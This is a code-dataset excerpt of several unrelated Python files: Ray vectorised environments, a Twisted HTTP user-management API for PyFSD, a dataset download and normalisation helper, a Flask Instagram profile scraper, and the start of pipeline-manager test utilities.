self.active_envs.items():\n policy_output = policy_outputs[env_id]\n res[env_id] = env.action_adapter(policy_output)\n\n return res\n\n def collect_info(self, truncated=False) -> List[Dict[str, Any]]:\n # XXX(ziyu): We can add a new param 'truncated' to determine whether to add\n # the nonterminal env_info into rets.\n ret = self._cached_episode_infos\n for runtime_id, env in self.active_envs.items():\n if env.cnt > 0:\n ret[runtime_id] = env.collect_info()\n\n return ret\n\n def close(self):\n for env in self._envs:\n env.close()\n\n\n@ray.remote(num_cpus=0)\nclass _RemoteEnv:\n def __init__(self, creater: Callable, env_config: Dict[str, Any]) -> None:\n self.env: Environment = creater(**env_config)\n self.runtime_id = None\n\n def reset(self, runtime_id: str, **kwargs) -> Dict[str, Dict[AgentID, Any]]:\n self.runtime_id = runtime_id\n ret = self.env.reset(**kwargs)\n return {self.runtime_id: ret}\n\n def step(self, action: Dict[AgentID, Any]):\n ret = self.env.step(action)\n return {self.runtime_id: ret}\n\n def from_env(self, env):\n assert isinstance(env, Environment)\n self.env = env\n return self\n\n\nclass SubprocVecEnv(VectorEnv):\n def __init__(\n self,\n observation_spaces: Dict[AgentID, gym.Space],\n action_spaces: Dict[AgentID, gym.Space],\n creator: type,\n configs: Dict[str, Any],\n max_num_envs: int = 0,\n ):\n # modify creator as remote creator\n self.max_num_envs = max_num_envs\n self.pending_tasks = []\n\n super(SubprocVecEnv, self).__init__(\n observation_spaces, action_spaces, creator, configs\n )\n\n def add_envs(self, envs: List = None, num: int = 0):\n \"\"\"Add existin envs to remote actor\"\"\"\n\n if self.num_envs == self.max_num_envs:\n return\n\n num_env_pool = self.num_envs\n\n if envs and len(envs) > 0:\n for env in envs[: self.max_num_envs - num_env_pool]:\n if isinstance(env, ActorHandle):\n self._envs.append(env)\n else:\n self._envs.append(ray.get(_RemoteEnv.from_env(env).remote()))\n\n self._num_envs += 1\n Logger.debug(f\"added {len(envs)} exisiting environments.\")\n elif num > 0:\n num = min(\n self.max_num_envs - self.num_envs, max(0, self.max_num_envs - num)\n )\n for _ in range(num):\n self._envs.append(\n _RemoteEnv.remote(\n creater=self.env_creator, env_config=self.env_configs\n )\n )\n self._num_envs += 1\n Logger.debug(f\"created {num} new environments.\")\n\n def reset(\n self,\n limits: int,\n fragment_length: int,\n max_step: int,\n custom_reset_config: Dict[str, Any] = None,\n ) -> Dict[EnvID, Dict[str, Dict[AgentID, Any]]]:\n self._limits = limits or self.num_envs\n self._step_cnt = 0\n self._fragment_length = fragment_length\n self._custom_reset_config = custom_reset_config\n self.max_step = max_step\n\n # clean peanding tasks\n if len(self.pending_tasks) > 0:\n _ = ray.get(self.pending_tasks)\n\n # generate runtime env ids\n runtime_ids = [uuid.uuid1().hex for _ in range(self._limits)]\n self._active_envs = dict(zip(runtime_ids, self.envs[: self._limits]))\n\n ret = {}\n\n for env_id, env in self.active_envs.items():\n _ret = ray.get(\n env.reset.remote(\n runtime_id=env_id,\n max_step=max_step,\n custom_reset_config=custom_reset_config,\n )\n )\n ret.update(_ret)\n\n return ret\n\n def step(self, actions: Dict[AgentID, List]) -> Dict:\n\n for env_id, _actions in actions.items():\n self.pending_tasks.append(self.active_envs[env_id].step.remote(_actions))\n\n ready_tasks = []\n # XXX(ming): should raise a warning, if too many retries.\n while len(ready_tasks) < 1:\n ready_tasks, self.pending_tasks = ray.wait(\n self.pending_tasks, num_returns=len(self.pending_tasks), timeout=0.5\n )\n rets = dict(ChainMap(*ray.get(ready_tasks)))\n self._step_cnt += len(rets)\n\n # FIXME(ming): (runtime error, sometimes) dictionary changed size during iteration\n for env_id, _ret in rets.items():\n dones = _ret[EpisodeKey.DONE]\n env_done = any(dones.values())\n if env_done:\n # reset and assign a new runtime\n env = self._active_envs.pop(env_id)\n runtime_id = uuid.uuid1().hex\n self.active_envs[runtime_id] = env\n _ret.update(\n ray.get(\n env.reset.remote(\n runtime_id=runtime_id,\n max_step=self.max_step,\n custom_reset_config=self._custom_reset_config,\n )\n )\n )\n\n return rets\n\n def close(self):\n for env in self.envs:\n # assert isinstance(env, ActorHandle)\n env.__ray_terminate__.remote()\n","repo_name":"luorq3/malib","sub_path":"malib/envs/vector_env.py","file_name":"vector_env.py","file_ext":"py","file_size_in_byte":13488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"7056128997","text":"# mypy: disable-error-code=\"no-any-return\"\n\"\"\"PyFSD PyFSDPlugin plugin :: httpapi.py\nVersion: 1\n\"\"\"\n\nfrom json import JSONDecodeError, JSONEncoder, dumps, loads\nfrom re import compile\nfrom typing import (\n TYPE_CHECKING,\n Any,\n Callable,\n Dict,\n List,\n Optional,\n Tuple,\n Type,\n Union,\n)\n\nfrom pyfsd.db_tables import users as users_table\nfrom pyfsd.define.config_check import (\n ConfigKeyError,\n MayExist,\n verifyAllConfigStruct,\n verifyConfigStruct,\n)\nfrom pyfsd.plugin import IServiceBuilder\nfrom sqlalchemy.sql import exists, select\nfrom twisted.application.internet import TCPServer\nfrom twisted.internet.defer import Deferred\nfrom twisted.logger import Logger\nfrom twisted.plugin import IPlugin\nfrom twisted.python.compat import nativeString\nfrom twisted.web.resource import Resource\nfrom twisted.web.server import NOT_DONE_YET, Site\nfrom zope.interface import implementer\n\ntry:\n from pyfsd.plugins.whazzup import whazzupGenerator\nexcept ImportError:\n raise ImportError(\"httpapi plugin requires whazzup plugin.\")\n\nif TYPE_CHECKING:\n from alchimia.engine import TwistedEngine, TwistedResultProxy\n from twisted.python.failure import Failure\n from twisted.web.resource import IResource\n from twisted.web.server import Request\n\n from ..service import PyFSDService\n\n\nis_sha256_regex = compile(\"^[a-fA-F0-9]{64}$\")\nchildren: List[\n Tuple[\n bytes,\n Callable[[Type[JSONEncoder], Optional[\"TwistedEngine\"], str], \"IResource\"],\n ]\n] = []\n\n\ndef putChild(\n path: bytes, child: Union[Resource, Type[\"JSONResource\"], Type[\"DBAPIResource\"]]\n) -> None:\n if isinstance(child, Resource):\n children.append((path, lambda *_: child))\n elif isinstance(child, type):\n if issubclass(child, DBAPIResource):\n children.append((path, child))\n elif issubclass(child, JSONResource):\n children.append((path, lambda encoder, _, __: child(encoder)))\n else:\n raise TypeError(\"Invaild child: {child.__name__}\")\n else:\n raise TypeError(\"Invaild child: {child!r}\")\n\n\ndef selectAllProxy(\n handler: Callable,\n) -> Callable[[\"TwistedResultProxy\"], None]:\n def proxy(proxy: \"TwistedResultProxy\") -> None:\n proxy.fetchall().addCallback(handler)\n\n return proxy\n\n\ndef makeEncoder(encoding: str) -> Type[JSONEncoder]:\n class Encoder(JSONEncoder):\n def default(self, o: Any) -> Any:\n if isinstance(o, bytes):\n return o.decode(encoding=encoding, errors=\"replace\")\n else:\n return super().default(o)\n\n return Encoder\n\n\nclass JSONResource(Resource):\n isLeaf = True\n logger: Logger\n encoder: Type[JSONEncoder]\n\n def __init__(self, encoder: Type[JSONEncoder]):\n self.encoder = encoder\n self.logger = Logger()\n super().__init__()\n\n def render(self, request: \"Request\") -> Union[bytes, int]:\n request.setHeader(\"Content-Type\", \"application/json\")\n method = getattr(self, \"renderJson_\" + nativeString(request.method), None)\n if method is None or not hasattr(method, \"__call__\"):\n request.setResponseCode(501)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n return b'{\"type\": \"not-implemented\", \"title\": \"Method not Implemented\"}'\n try:\n result = method(request)\n except BaseException:\n request.setResponseCode(500)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n self.logger.failure(\"Error info:\")\n return (\n b'{\"type\": \"internal-server-error\", \"title\": \"Internal Server Error\"}'\n )\n if isinstance(result, (dict, list, tuple)):\n return dumps(result, ensure_ascii=False, cls=self.encoder).encode()\n elif isinstance(result, Deferred):\n\n def errback(failure: \"Failure\") -> None:\n self.logger.failure(\n f\"Error happend in {'renderJson_' + nativeString(request.method)}\",\n failure=failure,\n )\n if not request.finished:\n request.setResponseCode(500)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n request.write(\n b'{\"type\": \"internal-server-error\", '\n b'\"title\": \"Internal Server Error\"}'\n )\n request.finish()\n\n result.addErrback(errback)\n return NOT_DONE_YET\n elif isinstance(result, int):\n return result\n elif isinstance(result, bytes):\n return result\n else:\n self.logger.error(\"renderer returned invaild data: {data}\", data=result)\n request.setResponseCode(500)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n return (\n b'{\"type\": \"internal-server-error\", \"title\": \"Internal Server Error\"}'\n )\n\n def renderJson_HEAD(self, request: \"Request\") -> bytes:\n if hasattr(self, \"renderJson_GET\"):\n write = request.write\n setattr(request, \"write\", lambda _: None)\n self.renderJson_GET(request)\n setattr(request, \"write\", write)\n return b\"\"\n else:\n request.setResponseCode(404)\n return b\"\"\n\n def renderJson_OPTIONS(self, request: \"Request\") -> bytes:\n request.setResponseCode(204)\n request.responseHeaders.removeHeader(\"Content-Type\")\n available_methods = []\n for name in dir(self):\n if name.startswith(\"renderJson_\"):\n available_methods.append(name[11:])\n request.setHeader(\"Allow\", \", \".join(available_methods))\n return b\"\"\n\n @staticmethod\n def notFound(request: \"Request\") -> bytes:\n request.setResponseCode(404)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n if not request.method == b\"HEAD\":\n return b'{\"type\": \"not-found\", \"title\": \"Not Found\"}'\n return b\"\"\n\n @staticmethod\n def checkJsonBody(request: \"Request\", format_: dict) -> Tuple[bool, dict]:\n \"\"\"Validate json body and give body or error response.\n\n Args:\n request: The request.\n format_: Format. Like verifyConfigStruct's structure.\n Returns:\n return[1] is body if return[0] == True else return[1] is response\n \"\"\"\n try:\n body = loads(\n request.content.read().decode( # type: ignore[union-attr]\n errors=\"replace\"\n )\n )\n except JSONDecodeError:\n request.setResponseCode(400)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n return False, {\"type\": \"invaild-body\", \"title\": \"Excepted JSON body\"}\n errors = verifyAllConfigStruct(body, format_)\n if errors:\n request.setResponseCode(400)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n invalid_params = []\n for error in errors:\n if isinstance(error, ConfigKeyError):\n invalid_params.append(\n {\"name\": error.name, \"reason\": \"Must be exist\"}\n )\n else:\n invalid_params.append({\"name\": error.name, \"reason\": str(error)})\n return False, {\n \"type\": \"invaild-body\",\n \"title\": \"Some parameters isn't vaild.\",\n \"invalid-params\": invalid_params,\n }\n return True, body\n\n\nclass DBAPIResource(JSONResource):\n db_engine: Optional[\"TwistedEngine\"]\n token: str\n\n def __init__(\n self,\n encoder: Type[JSONEncoder],\n db_engine: Optional[\"TwistedEngine\"],\n token: str,\n ) -> None:\n self.db_engine = db_engine\n self.token = token\n super().__init__(encoder)\n\n @staticmethod\n def dbNotLoaded(request: \"Request\") -> dict:\n request.setResponseCode(503)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n return {\n \"type\": \"service-unavailable\",\n \"title\": \"Database engine not loaded.\",\n }\n\n def checkAuth(self, request: \"Request\") -> Optional[dict]:\n authorization = request.getHeader(\"Authorization\")\n if authorization is None:\n request.setResponseCode(401)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n request.setHeader(\"WWW-Authenticate\", 'Bearer realm=\"token\"')\n return {\n \"type\": \"auth-failure\",\n \"title\": \"Authorization failure\",\n \"detail\": \"Must specify token by 'Authorization: Bearer' header\",\n }\n elif not authorization.startswith(\"Bearer \"):\n request.setResponseCode(401)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n request.setHeader(\n \"WWW-Authenticate\",\n 'Bearer realm=\"token\", error=\"invalid_token\", '\n 'error_description=\"Only Bearer authorization accepted\"',\n )\n return {\n \"type\": \"auth-failure\",\n \"title\": \"Authorization failure\",\n \"detail\": \"Accept 'Authorization: Bearer' header only\",\n }\n elif authorization[7:] != self.token:\n request.setResponseCode(401)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n request.setHeader(\n \"WWW-Authenticate\",\n 'Bearer realm=\"token\", error=\"invalid_token\", '\n 'error_description=\"Token incorrect\"',\n )\n return {\n \"type\": \"auth-failure\",\n \"title\": \"Authorization failure\",\n \"detail\": \"Invaild token\",\n }\n else:\n return None\n\n\nclass UsersResource(DBAPIResource):\n # Query\n def renderJson_GET(self, request: \"Request\") -> Union[dict, Deferred, bytes]:\n if request.postpath is None or len(request.postpath) > 1:\n return self.notFound(request)\n elif len(request.postpath) == 1:\n # Query single\n if self.db_engine is None:\n return self.dbNotLoaded(request)\n\n def singleHandler(result: List[Tuple[int]]) -> None:\n if len(result) == 0:\n request.write(b'{\"exist\": false}')\n else:\n request.write(b'{\"exist\": true, \"rating\": %d}' % result[0][0])\n request.finish()\n\n return self.db_engine.execute( # type: ignore[no-any-return]\n select([users_table.c.rating]).where(\n users_table.c.callsign\n == request.postpath[0].decode(errors=\"replace\")\n )\n ).addCallback(selectAllProxy(singleHandler))\n else:\n # Query all\n if self.db_engine is None:\n return self.dbNotLoaded(request)\n\n def allHandler(result: List[Tuple[str, int]]) -> None:\n info: Dict[int, List[str]] = {}\n for user in result:\n callsign, rating = user\n if rating not in info:\n info[rating] = []\n info[rating].append(callsign)\n request.write(\n dumps(\n {\"rating\": info}, ensure_ascii=False, cls=self.encoder\n ).encode()\n )\n request.finish()\n\n return self.db_engine.execute( # type: ignore[no-any-return]\n select([users_table.c.callsign, users_table.c.rating])\n ).addCallback(selectAllProxy(allHandler))\n\n # Register\n def renderJson_PUT(self, request: \"Request\") -> Union[dict, Deferred, bytes]:\n if request.postpath is None or len(request.postpath) != 0:\n return self.notFound(request)\n else:\n err = self.checkAuth(request)\n if err is not None:\n return err\n vaild, body = self.checkJsonBody(\n request, {\"callsign\": str, \"password\": str}\n )\n if not vaild:\n return body\n if self.db_engine is None:\n return self.dbNotLoaded(request)\n if is_sha256_regex.match(body[\"password\"]) is None:\n request.setResponseCode(400)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n return {\n \"type\": \"invaild-password\",\n \"title\": \"Password must hashed by sha256\",\n }\n\n def sayDone(_: \"TwistedResultProxy\") -> None:\n request.setResponseCode(204)\n request.finish()\n\n def checkIfExist(result: List[Tuple[bool]]) -> None:\n if result[0][0]:\n request.setResponseCode(409)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n request.write(\n b'{\"type\": \"callsign-conflict\", '\n b'title\": \"Callsign already exist\"}'\n )\n request.finish()\n else:\n self.db_engine.execute( # type: ignore[union-attr]\n users_table.insert().values(\n callsign=body[\"callsign\"],\n password=body[\"password\"],\n rating=1,\n )\n ).addCallback(sayDone)\n\n return self.db_engine.execute(\n exists().where(users_table.c.callsign == body[\"callsign\"]).select()\n ).addCallback(selectAllProxy(checkIfExist))\n\n # Modify\n def renderJson_PATCH(self, request: \"Request\") -> Union[dict, Deferred, bytes]:\n if request.postpath is None or len(request.postpath) != 1:\n return self.notFound(request)\n else:\n err = self.checkAuth(request)\n if err is not None:\n return err\n vaild, body = self.checkJsonBody(\n request, {\"password\": MayExist(str), \"rating\": MayExist(int)}\n )\n if not vaild:\n return body\n if self.db_engine is None:\n return self.dbNotLoaded(request)\n if is_sha256_regex.match(body[\"password\"]) is None:\n request.setResponseCode(400)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n return {\n \"type\": \"invaild-password\",\n \"title\": \"Password must hashed by sha256\",\n }\n password = body.get(\"password\", None)\n rating = body.get(\"rating\", None)\n if password is None and rating is None:\n request.setResponseCode(400)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n return {\n \"type\": \"invaild-body\",\n \"title\": \"Must modify password or rating\",\n }\n values = {}\n if password is not None:\n values[\"password\"] = password\n if rating is not None:\n values[\"rating\"] = rating\n\n def sayDone(_: \"TwistedResultProxy\") -> None:\n request.setResponseCode(204)\n request.finish()\n\n def checkIfExist(result: List[Tuple[bool]]) -> None:\n if not result[0][0]:\n request.setResponseCode(404)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n request.write(\n b'{\"type\": \"user-not-found\", \"title\": \"User not found\"}'\n )\n request.finish()\n else:\n self.db_engine.execute( # type: ignore[union-attr]\n users_table.update(\n users_table.c.callsign\n == request.postpath[0].decode( # type: ignore[index]\n errors=\"replace\"\n )\n ).values(**values)\n ).addCallback(sayDone)\n\n return self.db_engine.execute(\n exists()\n .where(\n users_table.c.callsign\n == request.postpath[0].decode(errors=\"replace\")\n )\n .select()\n ).addCallback(selectAllProxy(checkIfExist))\n\n # Login\n def renderJson_POST(self, request: \"Request\") -> Union[dict, Deferred, bytes]:\n if request.postpath is None or len(request.postpath) != 0:\n return self.notFound(request)\n else:\n err = self.checkAuth(request)\n if err is not None:\n return err\n vaild, body = self.checkJsonBody(\n request, {\"callsign\": str, \"password\": str}\n )\n if not vaild:\n return body\n if self.db_engine is None:\n return self.dbNotLoaded(request)\n if is_sha256_regex.match(body[\"password\"]) is None:\n request.setResponseCode(400)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n return {\n \"type\": \"invaild-password\",\n \"title\": \"Password must hashed by sha256\",\n }\n\n def handler(result: List[Tuple[str, int]]) -> None:\n if len(result) == 0:\n request.write(b'{\"exist\": false}')\n else:\n hashed_password, rating = result[0]\n success = (\n b\"true\" if hashed_password == body[\"password\"] else b\"false\"\n )\n request.write(\n b'{\"exist\": true, \"success\": %s, \"rating\": %d}'\n % (success, rating)\n )\n request.finish()\n\n return self.db_engine.execute(\n select([users_table.c.password, users_table.c.rating]).where(\n users_table.c.callsign == body[\"callsign\"]\n )\n ).addCallback(selectAllProxy(handler))\n\n # Delete\n def renderJson_DELETE(self, request: \"Request\") -> Union[dict, Deferred, bytes]:\n if request.postpath is None or len(request.postpath) != 1:\n return self.notFound(request)\n else:\n err = self.checkAuth(request)\n if err is not None:\n return err\n if self.db_engine is None:\n return self.dbNotLoaded(request)\n\n def sayDone(_: \"TwistedResultProxy\") -> None:\n request.setResponseCode(204)\n request.finish()\n\n def checkIfExist(result: List[Tuple[bool]]) -> None:\n if not result[0][0]:\n request.setResponseCode(404)\n request.setHeader(\"Content-Type\", \"application/problem+json\")\n request.write(\n b'{\"type\": \"user-not-found\", \"title\": \"User not found\"}'\n )\n request.finish()\n else:\n self.db_engine.execute( # type: ignore[union-attr]\n users_table.delete(\n users_table.c.callsign\n == request.postpath[0].decode( # type: ignore[index]\n errors=\"replace\"\n )\n )\n ).addCallback(sayDone)\n\n return self.db_engine.execute(\n exists()\n .where(\n users_table.c.callsign\n == request.postpath[0].decode(errors=\"replace\")\n )\n .select()\n ).addCallback(selectAllProxy(checkIfExist))\n\n\nclass WhazzupResource(JSONResource):\n use_heading: bool\n\n def __init__(self, encoder: Type[JSONEncoder], use_heading: bool):\n super().__init__(encoder)\n self.use_heading = use_heading\n\n def renderJson_GET(self, request: \"Request\") -> Union[dict, bytes]:\n if request.postpath is None or len(request.postpath) != 0:\n return self.notFound(request)\n else:\n return whazzupGenerator.generateWhazzup(self.use_heading)\n\n\nclass RootResource(Resource):\n def getChild(self, _: bytes, __: \"Request\") -> Resource:\n return self\n\n def render(self, request: \"Request\") -> bytes:\n return JSONResource.notFound(request)\n\n\n@implementer(IPlugin, IServiceBuilder)\nclass ServiceBuilder:\n service_name = \"httpapi\"\n\n @staticmethod\n def buildService(pyfsd: \"PyFSDService\", config: Optional[dict]) -> TCPServer:\n global putChild\n\n assert config is not None\n verifyConfigStruct(\n config,\n {\"port\": int, \"client_coding\": str, \"use_heading\": bool, \"token\": str},\n )\n\n if config[\"token\"] == \"DEFAULT\":\n from secrets import token_urlsafe\n\n config[\"token\"] = token_urlsafe()\n Logger().warn(\n \"httpai plugin: Please change default token. Now token is {token}\",\n token=config[\"token\"],\n )\n\n encoder = makeEncoder(config[\"client_coding\"])\n root = RootResource()\n root.putChild(\n b\"users\", UsersResource(encoder, pyfsd.db_engine, config[\"token\"])\n )\n root.putChild(\n b\"whazzup.json\", WhazzupResource(encoder, config[\"client_coding\"])\n )\n for path, child in children:\n root.putChild(path, child(encoder, pyfsd.db_engine, config[\"token\"]))\n print(path, child)\n\n def putChild(\n path: bytes,\n child: Union[Resource, Type[\"JSONResource\"], Type[\"DBAPIResource\"]],\n ) -> None:\n if isinstance(child, Resource):\n root.putChild(path, child)\n elif isinstance(child, type):\n if issubclass(child, JSONResource):\n root.putChild(path, child(encoder))\n elif issubclass(child, DBAPIResource):\n root.putChild(\n path, child(encoder, pyfsd.db_engine, config[\"token\"])\n )\n else:\n raise TypeError(\"Invaild child: {child.__name__}\")\n else:\n raise TypeError(\"Invaild child: {child!r}\")\n\n return TCPServer(config[\"port\"], Site(root))\n\n\nbuilder = ServiceBuilder()\n","repo_name":"gamecss/pyfsd-plugins","sub_path":"service/httpapi/httpapi.py","file_name":"httpapi.py","file_ext":"py","file_size_in_byte":22890,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"40519761108","text":"import logging\nimport os\nimport pathlib\n\ndef is_debug():\n \"\"\"\n Check if the users has the debug env.var. set\n \"\"\"\n debug = False\n if os.environ.get('DEBUG') and os.environ.get('DEBUG') == \"True\":\n debug = True\n\n return debug\n\n\ndef list_pipelinefiles():\n\n return list_files(\"/cpp_work/pipelines/\")\n\ndef list_files(input_path):\n\n files = list(pathlib.Path(input_path).rglob(\"*.*\"))\n\n #logging.debug(\"files:\" + str(files))\n\n # create a table of the files with only one column and one file per row (each row is represented as a list)\n result_table = []\n\n # First add a header\n result_table.append([\"Filename\"])\n\n # Then add the files\n for file in files:\n relative_file = file.relative_to(input_path)\n result_table.append([str(relative_file)])\n\n #logging.debug(\"result_table:\" + str(result_table))\n\n return result_table\n\n","repo_name":"pharmbio/pipelinegui","sub_path":"webserver/fileutils.py","file_name":"fileutils.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71481585367","text":"from io import BytesIO\nimport urllib.request\nfrom zipfile import ZipFile\nimport os\nimport torch\nimport torch.utils.data\nfrom torchvision import datasets, transforms\nfrom tqdm import tqdm\nimport multiprocessing\nimport matplotlib.pyplot as plt\n\n\n# Let's see if we have an available GPU\nimport numpy as np\nimport random\n\n\ndef setup_env():\n use_cuda = torch.cuda.is_available()\n\n if use_cuda:\n print(\"GPU available\")\n else:\n print(\"GPU *NOT* available. Will use CPU (slow)\")\n\n # Seed random generator for repeatibility\n seed = 42\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n\n # Download data if not present already\n download_and_extract()\n compute_mean_and_std()\n\n # Make checkpoints subdir if not existing\n os.makedirs(\"checkpoints\", exist_ok=True)\n \n # Make sure we can reach the installed binaries. This is needed for the workspace\n if os.path.exists(\"/data/DLND/C2/landmark_images\"):\n os.environ['PATH'] = f\"{os.environ['PATH']}:/root/.local/bin\"\n\n\ndef get_data_location():\n \"\"\"\n Find the location of the dataset, either locally or in the Udacity workspace\n \"\"\"\n\n if os.path.exists(\"landmark_images\"):\n data_folder = \"landmark_images\"\n elif os.path.exists(\"/data/DLND/C2/landmark_images\"):\n data_folder = \"/data/DLND/C2/landmark_images\"\n else:\n raise IOError(\"Please download the dataset first\")\n\n return data_folder\n\n\ndef download_and_extract(\n url=\"https://udacity-dlnfd.s3-us-west-1.amazonaws.com/datasets/landmark_images.zip\",\n):\n \n try:\n \n location = get_data_location()\n \n except IOError:\n # Dataset does not exist\n print(f\"Downloading and unzipping {url}. This will take a while...\")\n\n with urllib.request.urlopen(url) as resp:\n\n with ZipFile(BytesIO(resp.read())) as fp:\n\n fp.extractall(\".\")\n\n print(\"done\")\n \n else:\n \n print(\n \"Dataset already downloaded. If you need to re-download, \"\n f\"please delete the directory {location}\"\n )\n return None\n\n\n# Compute image normalization\ndef compute_mean_and_std():\n \"\"\"\n Compute per-channel mean and std of the dataset (to be used in transforms.Normalize())\n \"\"\"\n\n cache_file = \"mean_and_std.pt\"\n if os.path.exists(cache_file):\n print(f\"Reusing cached mean and std\")\n d = torch.load(cache_file)\n\n return d[\"mean\"], d[\"std\"]\n\n folder = get_data_location()\n ds = datasets.ImageFolder(\n folder, transform=transforms.Compose([transforms.ToTensor()])\n )\n dl = torch.utils.data.DataLoader(\n ds, batch_size=1, num_workers=0\n )\n\n mean = 0.0\n for images, _ in tqdm(dl, total=len(ds), desc=\"Computing mean\", ncols=80):\n batch_samples = images.size(0)\n images = images.view(batch_samples, images.size(1), -1)\n mean += images.mean(2).sum(0)\n mean = mean / len(dl.dataset)\n\n var = 0.0\n npix = 0\n for images, _ in tqdm(dl, total=len(ds), desc=\"Computing std\", ncols=80):\n batch_samples = images.size(0)\n images = images.view(batch_samples, images.size(1), -1)\n var += ((images - mean.unsqueeze(1)) ** 2).sum([0, 2])\n npix += images.nelement()\n\n std = torch.sqrt(var / (npix / 3))\n\n # Cache results so we don't need to redo the computation\n torch.save({\"mean\": mean, \"std\": std}, cache_file)\n\n return mean, std\n\n\ndef after_subplot(ax: plt.Axes, group_name: str, x_label: str):\n \"\"\"Add title xlabel and legend to single chart\"\"\"\n ax.set_title(group_name)\n ax.set_xlabel(x_label)\n ax.legend(loc=\"center right\")\n\n if group_name.lower() == \"loss\":\n ax.set_ylim([None, 4.5])\n\n\ndef plot_confusion_matrix(pred, truth):\n import pandas as pd\n import seaborn as sns\n import matplotlib.pyplot as plt\n import numpy as np\n\n gt = pd.Series(truth, name='Ground Truth')\n predicted = pd.Series(pred, name='Predicted')\n\n confusion_matrix = pd.crosstab(gt, predicted)\n\n fig, sub = plt.subplots(figsize=(14, 12))\n with sns.plotting_context(\"notebook\"):\n idx = (confusion_matrix == 0)\n confusion_matrix[idx] = np.nan\n sns.heatmap(confusion_matrix, annot=True, ax=sub, linewidths=0.5, linecolor='lightgray', cbar=False)\n","repo_name":"Uday-Damerla/Machine-Learning-Fundamentals-Udacity-NanoDegree","sub_path":"Project-3 Landmark Classification-Tagging for SocialMedia/src/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":4367,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"31571667094","text":"from flask import Flask, request, jsonify, make_response\nimport requests\nimport re\nimport json\n\nclass API():\n\n app = Flask('instagram_api')\n\n\n\n def __init__(self):\n pass\n\n @staticmethod\n @app.route('/', methods=['GET'])\n def landing():\n results = {\n 'status':'here'\n }\n return jsonify(results)\n #flask version of json.loads\n\n @staticmethod\n @app.route('/user/', methods=['GET'])\n def get_user(instagramuser):\n try:\n r = requests.get(\"https://instagram.com/\" + instagramuser)\n #r = requests.get(\"https://instagram.com{}\".format(instagramuser))\n html_page = r.text\n\n result = re.search('window._sharedData = (.*);', html_page)\n\n\n insta_json = json.loads(result.group(1))\n\n insta_user = insta_json['entry_data']['ProfilePage'][0]['user']\n\n api_results = {\n 'biography': insta_user['biography'],\n 'external_url':insta_user['external_url'],\n 'followed_by':insta_user['followed_by']['count'],\n 'follows':insta_user['follows']['count'],\n 'full_name':insta_user['full_name'],\n 'id':insta_user['id'],\n 'profile_pic':insta_user['profile_pic_url'],\n 'username':insta_user['username']\n }\n return jsonify(api_results)\n\n except:\n error_message = {\n 'msg': 'user does not exist'\n }\n\n return jsonify(error_message)\n\n # @staticmethod\n # @app.route('/', methods=['GET'])\n # def generic(myVar):\n # results = {\n # 'status':myVar\n # }\n # return jsonify(results)\n\n # error handling\n @staticmethod\n @app.errorhandler(404)\n def not_found(error):\n return make_response(jsonify({'error': 'Not found'}), 404)\n\n # Running the flask server\n def run(self,debug=True,port=5000):\n self.app.run(host=\"0.0.0.0\",port=port, debug=debug,threaded=True)\n\n\nab = API()\n\nab.run(True)\n","repo_name":"ablimdev/insta_api","sub_path":"insta_server_api.py","file_name":"insta_server_api.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11714582146","text":"import json\nfrom abc import ABC, abstractmethod\nfrom pathlib import Path\nfrom typing import Callable, Dict, List, Tuple, Union\n\nimport pytest\n\nfrom kenning.pipeline_manager.core import BaseDataflowHandler\n\n\ndef load_json_files(\n path_to_json_files: Union[str, Path]\n) -> Tuple[List[Dict], List[str]]:\n \"\"\"\n Loads JSON files from given directory.\n\n Parameters\n ----------\n path_to_json_files : Union[str, Path]\n Directory containing purely JSON configurations\n\n Returns\n -------\n Tuple[List[Dict], List[str]]\n Tuple containing list of loaded JSON files and list of their names\n \"\"\"\n path_to_json_files = Path(path_to_json_files)\n assert path_to_json_files.exists()\n\n pipeline_jsons = []\n pipeline_jsons_names = []\n for json_file in Path(path_to_json_files).iterdir():\n if json_file.suffix == \".json\":\n with open(json_file) as f:\n pipeline_jsons.append(json.load(f))\n pipeline_jsons_names.append(json_file.stem)\n return pipeline_jsons, pipeline_jsons_names\n\n\ndef factory_test_create_dataflow(\n path_to_json_files: Union[str, Path]\n) -> Callable:\n \"\"\"\n Creates test for `create_dataflow` method of dataflow handlers. The test\n does not check the validity of output, only if the parsing ended\n successfully.\n\n Parameters\n ----------\n path_to_json_files : Union[str, Path]\n Directory containing JSONs defining dataflow configuration\n\n Returns\n -------\n Callable\n Test for `create_dataflow` method.\n \"\"\"\n pipeline_jsons, pipeline_jsons_names = load_json_files(path_to_json_files)\n\n @pytest.mark.parametrize(\n \"pipeline_json\", pipeline_jsons, ids=pipeline_jsons_names\n )\n def test_create_dataflow(self, pipeline_json, handler):\n _ = handler.create_dataflow(pipeline_json)\n\n return test_create_dataflow\n\n\ndef factory_test_equivalence(path_to_json_files: Union[str, Path]) -> Callable:\n \"\"\"\n Creates `test_equivalence`, that runs `create_dataflow`, then\n `parse_dataflow` on the output, and checks whether the results is\n equivalent to the input JSON configuration. The test utilizes the\n `equivalence_check` method 